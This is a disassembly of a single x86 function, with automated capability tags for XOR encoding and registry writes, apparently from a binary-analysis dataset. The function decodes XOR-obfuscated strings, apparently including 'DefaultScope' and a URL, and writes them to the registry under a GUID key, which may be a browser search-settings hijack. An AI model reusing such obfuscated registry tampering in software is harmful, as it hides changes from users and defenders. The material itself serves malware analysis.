Function at 0x5d3d30
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x7acb0d
mov eax, dword fs:[0]
push eax
sub esp, 0x308
mov eax, dword [0x831184]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x94]
push 0x26
xor eax, eax
mov dword [ebp - 0x18], esi
push str.FD57A771_FD80_44E0_854F_BECFE2734911
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
call fcn.004044f0
mov dword [ebp - 4], 0
mov eax, 0xc
mov dword [ebp - 0x6c], eax
xor ecx, ecx
mov dword [ebp - 0x68], 0xcf00ed
mov dword [ebp - 0x64], 0xcd00cd
mov dword [ebp - 0x60], 0xc200d8
mov dword [ebp - 0x5c], 0xe300db
mov dword [ebp - 0x58], 0xdd00d2
mov dword [ebp - 0x54], 0xd100c3
mov dword [ebp - 0x50], 0xb5
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x68], ax
inc ecx
mov eax, dword [ebp - 0x6c]
cmp ecx, eax
jb 0x5d3dd2
xor ecx, ecx
mov word [ebp + eax*2 - 0x68], cx
xor eax, eax
mov dword [ebp - 0x9c], ecx
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x98], 7
lea edx, [ecx + 2]
mov word [ebp - 0xac], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d3e10
sub ecx, edx
lea eax, [ebp - 0x68]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0xac]
call fcn.004044f0
lea eax, [ebp - 0x94]
mov ecx, esi
push eax
lea eax, [ebp - 0xac]
push eax
call fcn.0057f630
lea ecx, [ebp - 0xac]
call fcn.00404490
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
push 0x26
xor eax, eax
mov dword [ebp - 0x84], 0
push str.FD57A771_FD80_44E0_854F_BECFE2734911
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
call fcn.004044f0
lea eax, [ebp - 0x94]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.0057f2f0
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
mov bl, al
call fcn.00404490
test bl, bl
je 0x5d4944
mov eax, 6
mov dword [ebp - 0xa4], 0xc500ee
mov dword [ebp - 0xa8], eax
xor ecx, ecx
mov dword [ebp - 0xa0], 0xcb00c4
mov dword [ebp - 0x9c], 0xcb00c1
mov dword [ebp - 0x98], 0xaf
nop dword [eax]
nop word [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0xa4], ax
inc ecx
mov eax, dword [ebp - 0xa8]
cmp ecx, eax
jb 0x5d3f00
xor ecx, ecx
mov word [ebp + eax*2 - 0xa4], cx
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x50], 7
lea edx, [ecx + 2]
mov word [ebp - 0x64], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d3f40
sub ecx, edx
lea eax, [ebp - 0xa4]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004044f0
mov dword [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x34], 0xb
mov dword [ebp - 0x30], 0xc300ed
mov dword [ebp - 0x2c], 0xdc00d8
mov dword [ebp - 0x28], 0xcf00c1
mov dword [ebp - 0x24], 0xfe00d6
mov dword [ebp - 0x20], 0xdf00d0
mov dword [ebp - 0x1c], 0xb400d6
nop dword [eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x30], ax
inc ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
jb 0x5d3fa0
xor ecx, ecx
mov word [ebp + eax*2 - 0x30], cx
xor eax, eax
mov dword [ebp - 0x84], ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x80], 7
lea edx, [ecx + 2]
mov word [ebp - 0x94], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d3fd6
sub ecx, edx
lea eax, [ebp - 0x30]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.004044f0
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
call fcn.0057f630
lea ecx, [ebp - 0x94]
call fcn.00404490
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
mov dword [ebp - 0xf4], 0x21
xor ecx, ecx
mov dword [ebp - 0xf0], 0xde00c1
mov dword [ebp - 0xec], 0xdc00df
mov dword [ebp - 0xe8], 0x810097
mov dword [ebp - 0xe4], 0xc70080
mov dword [ebp - 0xe0], 0xc500c6
mov dword [ebp - 0xdc], 0xd3009d
mov dword [ebp - 0xd8], 0xd900da
mov dword [ebp - 0xd4], 0xd400d0
mov dword [ebp - 0xd0], 0x9400dc
mov dword [ebp - 0xcc], 0xd300d8
mov dword [ebp - 0xc8], 0x9100d0
mov dword [ebp - 0xc4], 0xa100d9
mov dword [ebp - 0xc0], 0xab00b7
mov dword [ebp - 0xbc], 0xab00a0
mov dword [ebp - 0xb8], 0xe800ab
mov dword [ebp - 0xb4], 0xab00ae
mov dword [ebp - 0xb0], 0xca00a6
nop word [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0xf0], ax
inc ecx
mov eax, dword [ebp - 0xf4]
cmp ecx, eax
jb 0x5d40e0
xor ecx, ecx
mov word [ebp + eax*2 - 0xf0], cx
xor eax, eax
mov dword [ebp - 0x84], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x80], 7
lea edx, [ecx + 2]
mov word [ebp - 0x94], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d4122
sub ecx, edx
lea eax, [ebp - 0xf0]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.004044f0
mov dword [ebp - 4], 3
mov eax, 0xa
mov dword [ebp - 0x34], eax
xor ecx, ecx
mov dword [ebp - 0x30], 0xcb00ef
mov dword [ebp - 0x2c], 0xc500dd
mov dword [ebp - 0x28], 0xc100ce
mov dword [ebp - 0x24], 0xe500c1
mov dword [ebp - 0x20], 0xfe00e3
mov dword [ebp - 0x1c], 0xb3
nop
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x30], ax
inc ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
jb 0x5d4180
xor ecx, ecx
mov word [ebp + eax*2 - 0x30], cx
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x50], 7
lea edx, [ecx + 2]
mov word [ebp - 0x64], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d41b0
sub ecx, edx
lea eax, [ebp - 0x30]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004044f0
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0057f630
lea ecx, [ebp - 0x64]
call fcn.00404490
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
lea eax, [ebp - 0x134]
push eax
call fcn.005d4970
mov esi, eax
xor ecx, ecx
mov edx, dword [esi]
lea edi, [esi + 4]
test edx, edx
je 0x5d4222
lea eax, [ecx + 0xa9]
xor word [edi + ecx*2], ax
inc ecx
mov edx, dword [esi]
cmp ecx, edx
jb 0x5d4211
xor eax, eax
mov ecx, edi
mov word [edi + edx*2], ax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d4241
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x94]
call fcn.004044f0
mov dword [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x44], 0x13
mov dword [ebp - 0x40], 0xdf00fa
mov dword [ebp - 0x3c], 0xcb00cc
mov dword [ebp - 0x38], 0xdd00c8
mov dword [ebp - 0x34], 0xd900db
mov dword [ebp - 0x30], 0xdc00de
mov dword [ebp - 0x2c], 0xe100c0
mov dword [ebp - 0x28], 0xfa00e7
mov dword [ebp - 0x24], 0xf200e8
mov dword [ebp - 0x20], 0xf500ea
mov dword [ebp - 0x1c], 0xbc00f5
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x40], ax
inc ecx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
jb 0x5d42b3
xor ecx, ecx
mov word [ebp + eax*2 - 0x40], cx
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x50], 7
lea edx, [ecx + 2]
mov word [ebp - 0x64], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d42e3
sub ecx, edx
lea eax, [ebp - 0x40]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004044f0
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0057f630
lea ecx, [ebp - 0x64]
call fcn.00404490
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
mov dword [ebp - 0x7c], 0x15
xor ecx, ecx
mov dword [ebp - 0x78], 0xc200fa
mov dword [ebp - 0x74], 0xdb00c4
mov dword [ebp - 0x70], 0xcb00fe
mov dword [ebp - 0x6c], 0xc200ce
mov dword [ebp - 0x68], 0xda00d2
mov dword [ebp - 0x64], 0xc100e0
mov dword [ebp - 0x60], 0xd100d2
mov dword [ebp - 0x5c], 0xcb00d2
mov dword [ebp - 0x58], 0xd300cd
mov dword [ebp - 0x54], 0xd200d4
mov dword [ebp - 0x50], 0xbe00ce
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x78], ax
inc ecx
mov eax, dword [ebp - 0x7c]
cmp ecx, eax
jb 0x5d4381
xor ecx, ecx
mov word [ebp + eax*2 - 0x78], cx
xor eax, eax
mov dword [ebp - 0x9c], ecx
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x98], 7
lea edx, [ecx + 2]
mov word [ebp - 0xac], ax
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d43c0
sub ecx, edx
lea eax, [ebp - 0x78]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0xac]
call fcn.004044f0
cmp byte [ebx + 0x28], 0
je 0x5d4413
cmp dword [ebp - 0x98], 8
lea ecx, [ebp - 0x18]
push 4
push ecx
push 4
lea eax, [ebp - 0xac]
mov dword [ebp - 0x18], 1
cmovae eax, dword [ebp - 0xac]
push 0
push eax
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0xac]
call fcn.00404490
lea eax, [ebp - 0x11c]
push eax
call fcn.005d4a80
mov esi, eax
xor ecx, ecx
mov edx, dword [esi]
lea edi, [esi + 4]
test edx, edx
je 0x5d4451
nop word [eax + eax]
lea eax, [ecx + 0xa9]
xor word [edi + ecx*2], ax
inc ecx
mov edx, dword [esi]
cmp ecx, edx
jb 0x5d4440
xor eax, eax
mov ecx, edi
mov word [edi + edx*2], ax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d4470
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x94]
call fcn.004044f0
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x64]
push 3
xor eax, eax
mov dword [ebp - 0x54], 0
push 0x7da86c
mov dword [ebp - 0x50], 7
mov word [ebp - 0x64], ax
call fcn.004044f0
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0057f630
lea ecx, [ebp - 0x64]
call fcn.00404490
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
mov dword [ebp - 0xf4], 0x21
xor ecx, ecx
mov dword [ebp - 0xf0], 0xde00c1
mov dword [ebp - 0xec], 0xdc00df
mov dword [ebp - 0xe8], 0x810097
mov dword [ebp - 0xe4], 0xc70080
mov dword [ebp - 0xe0], 0xc500c6
mov dword [ebp - 0xdc], 0xd3009d
mov dword [ebp - 0xd8], 0xd900da
mov dword [ebp - 0xd4], 0xd400d0
mov dword [ebp - 0xd0], 0x9400dc
mov dword [ebp - 0xcc], 0xd300d8
mov dword [ebp - 0xc8], 0x9100d0
mov dword [ebp - 0xc4], 0xa100d9
mov dword [ebp - 0xc0], 0xab00b7
mov dword [ebp - 0xbc], 0xab00a0
mov dword [ebp - 0xb8], 0xe800ab
mov dword [ebp - 0xb4], 0xab00ae
mov dword [ebp - 0xb0], 0xca00a6
nop dword [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0xf0], ax
inc ecx
mov eax, dword [ebp - 0xf4]
cmp ecx, eax
jb 0x5d45a0
xor ecx, ecx
mov word [ebp + eax*2 - 0xf0], cx
xor eax, eax
mov dword [ebp - 0x84], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x80], 7
lea edx, [ecx + 2]
mov word [ebp - 0x94], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d45e2
sub ecx, edx
lea eax, [ebp - 0xf0]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.004044f0
mov dword [ebp - 4], 6
mov eax, 0x12
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov dword [ebp - 0x40], 0xcb00ef
mov dword [ebp - 0x3c], 0xc500dd
mov dword [ebp - 0x38], 0xc100ce
mov dword [ebp - 0x34], 0xe500c1
mov dword [ebp - 0x30], 0xfe00e3
mov dword [ebp - 0x2c], 0xd500f5
mov dword [ebp - 0x28], 0xda00d9
mov dword [ebp - 0x24], 0xd900d5
mov dword [ebp - 0x20], 0xd100da
mov dword [ebp - 0x1c], 0xbb
nop dword [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x40], ax
inc ecx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
jb 0x5d4660
xor ecx, ecx
mov word [ebp + eax*2 - 0x40], cx
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x50], 7
lea edx, [ecx + 2]
mov word [ebp - 0x64], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d4690
sub ecx, edx
lea eax, [ebp - 0x40]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004044f0
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0057f630
lea ecx, [ebp - 0x64]
call fcn.00404490
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
lea eax, [ebp - 0x1d4]
push eax
call fcn.005d4b50
mov edi, eax
xor ecx, ecx
mov edx, dword [edi]
lea esi, [edi + 4]
test edx, edx
je 0x5d4702
lea eax, [ecx + 0xa9]
xor word [esi + ecx*2], ax
inc ecx
mov edx, dword [edi]
cmp ecx, edx
jb 0x5d46f1
xor eax, eax
mov ecx, esi
mov word [esi + edx*2], ax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d4721
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x94]
call fcn.004044f0
mov dword [ebp - 4], 7
mov eax, 0x16
mov dword [ebp - 0x4c], eax
xor ecx, ecx
mov dword [ebp - 0x48], 0xdf00fa
mov dword [ebp - 0x44], 0xcb00cc
mov dword [ebp - 0x40], 0xdd00c8
mov dword [ebp - 0x3c], 0xd900db
mov dword [ebp - 0x38], 0xdc00de
mov dword [ebp - 0x34], 0xe100c0
mov dword [ebp - 0x30], 0xfa00e7
mov dword [ebp - 0x2c], 0xd900f1
mov dword [ebp - 0x28], 0xd600d5
mov dword [ebp - 0x24], 0xdd00d9
mov dword [ebp - 0x20], 0xd500de
mov dword [ebp - 0x1c], 0xbf
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x48], ax
inc ecx
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
jb 0x5d47a2
xor ecx, ecx
mov word [ebp + eax*2 - 0x48], cx
xor eax, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x50], 7
lea edx, [ecx + 2]
mov word [ebp - 0x64], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d47d2
sub ecx, edx
lea eax, [ebp - 0x48]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004044f0
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0057f630
lea ecx, [ebp - 0x64]
call fcn.00404490
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
call fcn.00404490
lea eax, [ebp - 0x314]
push eax
call fcn.005d4b50
mov edi, eax
xor ecx, ecx
mov edx, dword [edi]
lea esi, [edi + 4]
test edx, edx
je 0x5d4844
lea eax, [ecx + 0xa9]
xor word [esi + ecx*2], ax
inc ecx
mov edx, dword [edi]
cmp ecx, edx
jb 0x5d4833
xor eax, eax
mov ecx, esi
mov word [esi + edx*2], ax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5d4860
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x30]
call fcn.004044f0
mov dword [ebp - 4], 8
mov eax, 0xe
mov dword [ebp - 0x70], eax
xor ecx, ecx
mov dword [ebp - 0x6c], 0xdf00fa
mov dword [ebp - 0x68], 0xcb00cc
mov dword [ebp - 0x64], 0xdd00c8
mov dword [ebp - 0x60], 0xd900db
mov dword [ebp - 0x5c], 0xdc00de
mov dword [ebp - 0x58], 0xe100c0
mov dword [ebp - 0x54], 0xfa00e7
mov dword [ebp - 0x50], 0xb7
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x6c], ax
inc ecx
mov eax, dword [ebp - 0x70]
cmp ecx, eax
jb 0x5d48c2
xor ecx, ecx
lea edx, [ebp - 0x6c]
mov word [ebp + eax*2 - 0x6c], cx
xor eax, eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [edx + 2]
mov dword [ebp - 0x1d8], 7
mov word [ebp - 0x1ec], ax
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x5d4900
sub edx, ecx
lea eax, [ebp - 0x6c]
sar edx, 1
lea ecx, [ebp - 0x1ec]
push edx
push eax
call fcn.004044f0
lea eax, [ebp - 0x30]
mov ecx, ebx
push eax
lea eax, [ebp - 0x1ec]
push eax
call fcn.0057f630
lea ecx, [ebp - 0x1ec]
call fcn.00404490
lea ecx, [ebp - 0x30]
call fcn.00404490
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0076eb7e
mov esp, ebp
pop ebp
ret 4